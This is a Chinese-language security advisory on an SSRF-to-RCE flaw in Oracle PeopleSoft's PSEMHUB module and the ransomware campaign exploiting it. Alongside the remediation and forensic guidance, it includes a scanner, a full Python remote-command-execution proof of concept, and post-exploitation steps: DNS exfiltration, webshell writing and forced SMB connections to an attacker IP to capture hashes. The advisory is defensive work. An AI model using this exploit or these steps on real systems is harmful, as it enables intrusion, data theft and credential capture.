【高危漏洞预警】Oracle PeopleSoft 零日漏洞CVE-2026-35273
飓风网络安全
2026年6月16日 23:31
北京
在小说阅读器读本章
去阅读
一、漏洞详情
1.1受影响组件:Oracle PeopleSoft Enterprise PeopleTools — Updates Environment Management(PSEMHUB环境管理枢纽)
• 受影响版本:PeopleTools 8.61、8.62(更早未维护版本大概率存在同漏洞)
• 披露与利用时间线:
1. 2026-05-27:UNC6240(ShinyHunters勒索组织)开始在全球发起0day攻击
-
2026-06-10:Oracle发布紧急安全预警+场外应急补丁
-
2026-06-12:CISA将该漏洞录入已知活跃利用漏洞清单,强制政企限期修复
-
截至2026-06-16:全球超100家机构、300+实例被攻陷,受害主体以高校、金融、制造业ERP系统为主
1.2 威胁主体与攻击链路
攻击团伙:ShinyHunters(追踪编号UNC6240),勒索 extortion 团伙,攻击流程标准化: - 公网资产测绘扫描 /PSEMHUB/ 路径暴露实例
- 利用CVE-2026-35273无授权RCE拿下应用服务器
- 部署MeshCentral远程代理,C2域名azurenetfiles.net伪装Azure云服务规避流量审计
- 读取psappsrv.cfg明文数据库、中间件账号密码
- 横向渗透WebLogic、批量调度服务、数据库集群
- 加密业务数据、窃取师生/企业核心信息,公开泄露数据索要赎金
二、漏洞底层技术原理
2.1 漏洞根因
PeopleTools内置PSEMHUB环境更新管理模块,对外暴露无鉴权接口/PSEMHUB/adapter,接口接收可控target参数并由服务端主动发起HTTP/SMB出站请求:
1. 接口未做身份校验、未做内网IP/特殊协议黑名单过滤;
-
攻击者可控target构造SSRF,访问本地内网管理服务;
-
内网管理接口存在命令执行逻辑,通过SSRF跳转可间接执行系统命令,形成SSRF→本地接口调用→无授权RCE完整利用链;
-
额外风险:target支持SMB协议,可强制目标服务器向外发起445端口连接,抓取Windows机器账号NetNTLM哈希用于中继爆破、内网横向移动。
2.2 关键触发接口
1. 漏洞入口探测接口:/PSEMHUB/adapter?target=xxx
-
内网中继执行辅助接口:/PSIGW/HttpListeningConnector(可配合旧版漏洞扩大攻击面)
-
内网管理执行端点:http://127.0.0.1:8000/psadmin/exec(仅本机可访问,依靠SSRF跳转调用)
2.3 完整利用逻辑
1. 攻击者发送GET请求至目标/PSEMHUB/adapter,target参数指向本机环回地址管理执行接口;
-
PeopleSoft服务端主动向127.0.0.1发起请求,携带攻击者传入的系统执行参数;
-
本地psadmin管理模块接收参数,未过滤危险系统命令,直接调用操作系统API;
-
命令执行结果通过HTTP响应返回攻击者,实现回显型RCE;
-
无回显场景可通过外网HTTP/DNS日志带出命令执行结果,或写入Web目录上传后门。
三、漏洞检测脚本(合规探测,仅用于自查)
3.1 手动探测HTTP请求(curl)
用于验证目标是否存在SSRF入口,无危害仅做连通性测试:
漏洞探测请求,访问本地ping接口验证SSRF
curl -i \"http://target-ip/PSEMHUB/adapter?target=http://127.0.0.1:8000/psadmin/ping\"
判定标准:
• 响应包含ping success、本地服务状态信息 → 存在漏洞入口,高危;
• 404/403/路径拦截/无本地服务返回 → 已修复或有WAF阻断。
3.2 Python批量资产探测脚本(仅内网自查)
import requests
import sys
from concurrent.futures import ThreadPoolExecutor
headers = {
\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\"
}
def check\_vuln(target):
url = f\"{target.rstrip('/')}/PSEMHUB/adapter?target=http://127.0.0.1:8000/psadmin/ping\"
try:
resp = requests.get(url, headers=headers, timeout=5, verify=False)
if resp.status\_code == 200 and \"ping\" in resp.text:
print(f\"[!] 高危漏洞 CVE-2026-35273 存在: {target}\")
else:
print(f\"[+] 目标安全: {target}\")
except Exception as e:
print(f\"[-] 无法访问 {target}: {str(e)}\")
if \\_name\\ == \"\\main\\_\":
if len(sys.argv) < 2:
print(\"使用方式: python scan.py ip.txt\")
sys.exit()
targets = open(sys.argv[1], \"r\", encoding=\"utf-8\").read().splitlines()
with ThreadPoolExecutor(max\_workers=20) as pool:
pool.map(check\_vuln, targets)
四、完整研究型POC(仅授权测试环境使用,回显RCE)
4.1 POC原理说明
通过/PSEMHUB/adapter SSRF跳转本地psadmin/exec接口,传递cmd参数执行系统命令,响应直接返回命令输出;区分Windows/Linux执行参数。
4.2 Python 完整POC代码
import requests
import urllib.parse
import sys
requests.packages.urllib3.disable\_warnings()
class CVE202635273\Exploit:
def \\init\\_(self, target\_base):
self.base = target\_base.rstrip(\"/\")
self.vuln\_path = \"/PSEMHUB/adapter\"
self.local\_exec\_endpoint = \"http://127.0.0.1:8000/psadmin/exec\"
def exec\_cmd(self, cmd, is\_windows=True):
# 拼接本地执行接口参数
if is\_windows:
payload\_cmd = f\"cmd.exe /c {cmd}\"
else:
payload\_cmd = f\"/bin/sh -c {cmd}\"
full\_target\_url = f\"{self.local\_exec\_endpoint}?cmd={urllib.parse.quote(payload\_cmd)}\"
exploit\_url = f\"{self.base}{self.vuln\_path}?target={urllib.parse.quote(full\_target\_url)}\"
headers = {
\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\"
}
try:
resp = requests.get(exploit\_url, headers=headers, timeout=8, verify=False)
print(\"=\"\60)
print(f\"命令执行结果:\
{resp.text}\")
print(\"=\"\60)
return resp.text
except requests.exceptions.Timeout:
print(\"[ERROR] 请求超时,目标无回显或防火墙拦截\")
except Exception as e:
print(f\"[ERROR] 利用失败: {str(e)}\")
def help\_msg():
print(\"\"\"
CVE-2026-35273 Oracle PeopleTools RCE POC(仅授权测试环境)
使用示例:
Windows系统执行ipconfig
python exp.py http://192.168.10.10 windows ipconfig
Linux系统执行whoami
python exp.py https://erp.test.edu linux \"whoami;id\"
\"\"\")
if \\_name\\ == \"\\main\\_\":
if len(sys.argv) !=4:
help\_msg()
sys.exit(0)
target = sys.argv[1]
os\_type = sys.argv[2]
cmd = sys.argv[3]
exp = CVE202635273\_Exploit(target)
if os\_type.lower() == \"windows\":
exp.exec\_cmd(cmd, is\_windows=True)
elif os\_type.lower() == \"linux\":
exp.exec\_cmd(cmd, is\_windows=False)
else:
print(\"系统类型仅支持 windows / linux\")
4.4 无回显拓展利用思路(研究用途)
1. DNS外带:构造target内拼接nslookup 随机字符.xxx.dnslog.cn,通过DNS日志读取执行结果;
-
WebShell写入:执行命令将jsp/aspx后门写入PeopleSoft网站发布目录,直接浏览器访问连接;
-
SMB哈希抓取:target=\\攻击者IP\share\test强制目标发起SMB请求,捕获NetNTLM哈希用于爆破。
五、漏洞危害深度分析
1. 核心ERP完全失陷:PeopleSoft承载人事、财务、学生、供应链核心数据,RCE直接获取数据库明文凭证,批量泄露敏感信息;
-
勒索加密风险:攻击团伙落地MeshCentral持久化后门,全盘加密业务文件,阻断企业正常经营;
-
内网横向爆破:通过SSRF抓取机器账号哈希,对内网WebLogic、数据库、AD域控展开渗透;
-
持久驻留:创建管理员后门账号、写入开机启动脚本、植入内存无文件代理,常规杀毒难以清理;
-
合规重大风险:教育、金融、医疗机构泄露用户隐私,触发《个人信息保护法》巨额处罚。
六、分层防御修复方案(紧急→长期)
6.1 紧急修复(最高优先级,立即执行)
1. 安装Oracle官方场外应急补丁
访问Oracle安全公告:https://www.oracle.com/security-alerts/alert-cve-2026-35273.html
PeopleTools 8.61:安装对应版本紧急更新包
PeopleTools 8.62:部署同系列安全补丁
补丁完成后重启PSEMHUB、WebLogic应用服务,重新运行检测脚本验证漏洞闭合。
- 临时阻断方案(无法立刻打补丁时保命)
WAF/反向代理拦截规则:阻断所有URL前缀/PSEMHUB/公网访问;
网络ACL:防火墙限制仅内网管理网段访问PeopleSoft 80/443端口,彻底剥离公网暴露;
禁用PSEMHUB服务:临时关停Updates Environment Management组件,阻断漏洞入口。
6.2 中间层权限收敛加固
1. 降低PeopleSoft进程运行账户权限,禁止使用Windows管理员/root启动服务;
-
限制服务出站访问策略:防火墙阻断服务器主动向外发起445(SMB)、53(DNS)、80/443非可信出站请求;
-
清理psappsrv.cfg明文密码,改用Oracle加密凭证存储机制。
6.3 长效纵深防御体系
1. 资产测绘常态化:每周扫描公网ERP实例,监控/PSEMHUB/、/PSIGW/路径暴露;
-
日志审计告警:全量采集WebLogic访问日志,匹配/PSEMHUB/adapter、超长target参数实时告警;
-
IPS特征防护:部署TrendAI IPS规则1012580,拦截SSRF攻击载荷;
-
分段网络隔离:ERP应用服务器、数据库、AD域控三层网络分段,禁止跨段无限制互通;
-
定期渗透演练:每季度授权安全团队对PeopleSoft进行专项漏洞验证。
七、入侵痕迹排查(已暴露公网实例必做)
7.1 日志排查项
1. WebLogic访问日志:检索/PSEMHUB/adapter、target=http://127.0.0.1、内网环回地址请求记录;
-
系统历史命令:Linux .bash\_history、Windows Powershell/CMD执行日志;
-
出站网络日志:大量向azurenetfiles.net:443、外部SMB 445端口连接记录。
7.2 恶意文件痕迹
1. 临时目录/tmp/、C:\Windows\Temp下fanout.sh、MeshCentral代理程序;
-
Web发布目录新增jsp/aspx后门脚本;
-
根目录勒索提示文件 README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT。
7.3 后门持久化排查
1. Windows:计划任务、服务列表、注册表Run启动项;
-
Linux:crontab定时任务、/etc/rc.d开机脚本;
-
系统新增不明管理员账号、数据库陌生存储过程。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论